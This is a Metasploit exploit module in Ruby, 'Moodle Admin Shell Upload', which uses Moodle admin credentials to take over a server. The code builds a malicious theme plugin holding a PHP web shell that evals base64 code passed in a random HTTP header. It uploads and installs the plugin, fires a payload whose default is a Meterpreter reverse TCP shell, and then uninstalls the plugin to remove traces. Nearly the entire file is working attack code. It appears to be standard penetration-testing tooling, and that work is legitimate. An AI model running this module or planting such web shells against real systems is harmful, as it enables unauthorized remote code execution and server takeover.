141 lines
5.4 KiB
Ruby
141 lines
5.4 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
include Msf::Post::File
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::Remote::HTTP::Moodle
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Moodle Admin Shell Upload',
|
|
'Description' => %q{
|
|
This module will generate a plugin which can receive a malicious
|
|
payload request and upload it to a server running Moodle
|
|
provided valid admin credentials are used. Then the payload
|
|
is sent for execution, and the plugin uninstalled.
|
|
|
|
You must have an admin account to exploit this vulnerability.
|
|
|
|
Successfully tested against 3.6.3, 3.8.0, 3.9.0, 3.10.0, 3.11.2
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'AkkuS <Özkan Mustafa Akkuş>', # Discovery & PoC & Metasploit module @ehakkus
|
|
'h00die' # msf module cleanup and inclusion
|
|
],
|
|
'References' => [
|
|
['URL', 'http://pentest.com.tr/exploits/Moodle-3-6-3-Install-Plugin-Remote-Command-Execution.html'],
|
|
['EDB', '46775'],
|
|
['CVE', '2019-11631'] # rejected, its a feature!
|
|
],
|
|
'Platform' => 'php',
|
|
'Arch' => ARCH_PHP,
|
|
'Targets' => [['Automatic', {}]],
|
|
'Privileged' => false,
|
|
'DisclosureDate' => '2019-04-28',
|
|
'DefaultTarget' => 0,
|
|
'DefaultOptions' => { 'Payload' => 'php/meterpreter/reverse_tcp' },
|
|
'Payload' => {
|
|
'BadChars' => "'",
|
|
'Space' => 6070 # apache default is 8196, but 35% overhead for base64 encoding
|
|
},
|
|
'Notes' => {
|
|
'Stability' => [CRASH_SAFE],
|
|
'Reliability' => [REPEATABLE_SESSION],
|
|
'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]
|
|
}
|
|
)
|
|
)
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('USERNAME', [true, 'Admin username to authenticate with', 'admin']),
|
|
OptString.new('PASSWORD', [false, 'Admin password to authenticate with', ''])
|
|
]
|
|
)
|
|
end
|
|
|
|
def create_addon_file
|
|
# There are syntax errors in creating zip file. So the payload was sent as base64.
|
|
plugin_file = Rex::Zip::Archive.new
|
|
header = Rex::Text.rand_text_alpha_upper(4)
|
|
plugin_name = Rex::Text.rand_text_alpha_lower(8)
|
|
|
|
print_status("Creating plugin named: #{plugin_name} with poisoned header: #{header}")
|
|
|
|
path = "#{plugin_name}/version.php"
|
|
path2 = "#{plugin_name}/lang/en/theme_#{plugin_name}.php"
|
|
# "$plugin->version" and "$plugin->component" contents are required to accept Moodle plugin.
|
|
plugin_file.add_file(path, "<?php $plugin->version = #{Time.now.to_time.to_i}; $plugin->component = 'theme_#{plugin_name}';")
|
|
plugin_file.add_file(path2, "<?php eval(base64_decode($_SERVER['HTTP_#{header}'])); ?>")
|
|
# plugin_file.add_file(path2, "<?php #{payload.encoded}) ?>")
|
|
return plugin_file.pack, header, plugin_name
|
|
end
|
|
|
|
def exec_code(plugin_name, header)
|
|
# Base64 was encoded in "PHP". This process was sent as "HTTP headers".
|
|
print_status('Triggering payload')
|
|
send_request_cgi({
|
|
'keep_cookies' => true,
|
|
'uri' => normalize_uri(target_uri.path, 'theme', plugin_name, 'lang', 'en', "theme_#{plugin_name}.php"),
|
|
'raw_headers' => "#{header}: #{Rex::Text.encode_base64(payload.encoded)}\r\n"
|
|
})
|
|
end
|
|
|
|
def check
|
|
v = moodle_version
|
|
return CheckCode::Detected('Unable to determine moodle version') if v.nil?
|
|
|
|
# This is a feature, not a vuln, so we assume this to work on 3.0.0+
|
|
# assuming the plugin arch changed before that.
|
|
# > 3.0, < 3.9
|
|
version = Rex::Version.new(v)
|
|
if version > Rex::Version.new('3.0.0')
|
|
return CheckCode::Appears("Exploitable Moodle version #{v} detected")
|
|
end
|
|
|
|
CheckCode::Safe("Non-exploitable Moodle version #{v} detected")
|
|
end
|
|
|
|
def exploit
|
|
v = moodle_version
|
|
fail_with(Failure::NoTarget, 'Unable to determine moodle version') if v.nil?
|
|
|
|
version = Rex::Version.new(v)
|
|
print_status("Authenticating as user: #{datastore['USERNAME']}")
|
|
cookies = moodle_login(datastore['USERNAME'], datastore['PASSWORD'])
|
|
fail_with(Failure::NoAccess, 'Unable to login. Check credentials') if cookies.nil? || cookies.empty?
|
|
cookies.each do |cookie|
|
|
cookie_jar.add(cookie)
|
|
end
|
|
|
|
print_good("Authentication was successful with user: #{datastore['USERNAME']}")
|
|
print_status('Creating addon file')
|
|
addon_content, header, addon_name = create_addon_file
|
|
print_status('Uploading addon')
|
|
file_id, sesskey = upload_addon(addon_name, version, addon_content)
|
|
fail_with(Failure::NoAccess, 'Unable to upload addon. Make sure you are able to upload plugins with current permissions') if file_id.nil?
|
|
print_good('Upload Successful. Integrating addon')
|
|
ret = plugin_integration(sesskey, file_id, addon_name)
|
|
if ret.nil?
|
|
fail_with(Failure::NoAccess, 'Install not successful')
|
|
end
|
|
exec_code(addon_name, header)
|
|
print_status('Uninstalling plugin after 5 second delay so payload can change directories')
|
|
sleep(5)
|
|
remove_plugin("theme_#{addon_name}", version, sesskey)
|
|
end
|
|
|
|
def on_new_session(_)
|
|
print_good('You will need to change directories on meterpreter to get full functionality. Try: cd /tmp')
|
|
end
|
|
end
|